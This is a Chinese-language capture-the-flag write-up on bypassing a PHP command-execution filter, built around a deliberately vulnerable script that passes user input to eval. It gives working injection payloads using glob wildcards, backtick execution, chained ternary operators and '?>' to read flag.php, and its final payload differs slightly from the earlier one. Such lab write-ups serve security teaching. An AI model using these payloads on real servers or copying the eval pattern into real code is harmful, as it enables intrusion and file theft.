命令执行之三目运算符绕过
源码:
<?php
error_reporting(0);
//flag is located in flag.php
if( isset($_GET['a']) ){
$a = $_GET['a'];
if( strlen($a)>27 ){
die(strval(strlen($a)) . " Long.");
}
if( preg_match("/[A-Zb-z0-9_$.&;|^~![\](){<,}\$@\*]+/", $a) ){
die("Hackboy.");
}
eval("echo '" . $a ."';");
} else {
show_source(__FILE__);
}
?>
这里可以看到过滤的规则很严格,把大小写字母和数字,以及许多符号过滤了,但是仔细观察,也有漏网之鱼a
、/
、?
、>
、和单引号这5个是没有被过滤的,可以通过这5个字符进行命令执行读取flag.php
通过?
进行匹配
通常情况下,遇到过滤了字母或数字的命令执行题目都会考虑用?
来匹配命令和文件,这里我们想要通过cat
命令来读取flag.php,那么就可以这么构造:
/???/?a? ??a???? ==>/bin/cat flag.php
同时由于我们无法使用system()
等命令执行的函数,因此用单引号进行代替,单引号内的代码也是能被执行的。
`/???/?a? ??a????`
三目运算符
先看题目的eval()
内的内容
eval("echo '" . $a ."';");
发现,这里在我们输入参数的前后都加入了'
包围,目的是让输入的参数变成字符串不会执行,因此我们需要把单引号闭合掉。
'`/???/?a? ??a????`'
eval("echo ''`/???/?a? ??a????`'';");
然后语句就变成这样了,但是仍然显示不出来我们想要的flag,这时候就需要用到三目运算符了。
(expr1) ? (expr2) : (expr3)
在 expr1 求值为 true
时的值为 expr2,在 expr1 求值为 false
时的值为 expr3。
可以省略三元运算符中间那部分。表达式 expr1 ?: expr3
在 expr1 求值为 true
时返回 expr1,否则返回 expr3。
所以当我们expr1为空的时候他是false,表达式的值为expr3,先构造:
'?:`/???/?a? ??a????`'
//闭合后相当于
''?:`/???/?a? ??a????`''
//三目运算符执行后返回flag的字符串
'flag{xxxxx}'''
构造成前面三目运算符的expr1为空,这样就解决了前面一个'
的问题,但是后面还有一个'
要解决,因为两个字符串不能直接连接在一起,正常情况下需要.
隔开。
继续使用三目运算符
可以继续用三目运算符进行构造:
'?:`/???/?a? ??a????`?:'
//闭合后相当于
''?:`/???/?a? ??a????`?:''
//前一个三目运算符运算后得到
'flag{xxxxx}'?:''
//再进行一次三目运算得到
'flag{xxxxx}'
这里是先经过了上一次的三目运算之后得到的字符串作为下一次三目运算的expr1,然后后面的两个'
构成的空字符就作为了下一次三目运算false时的取值。
用?>
闭合PHP语句
我们使用eval()
函数的时候相当于在里面又进行了一次PHP的运算,那么可以使用?>
来结束这一次运算,从而将后面的'
忽略掉。
'?:`/???/?a? ??a?????`?>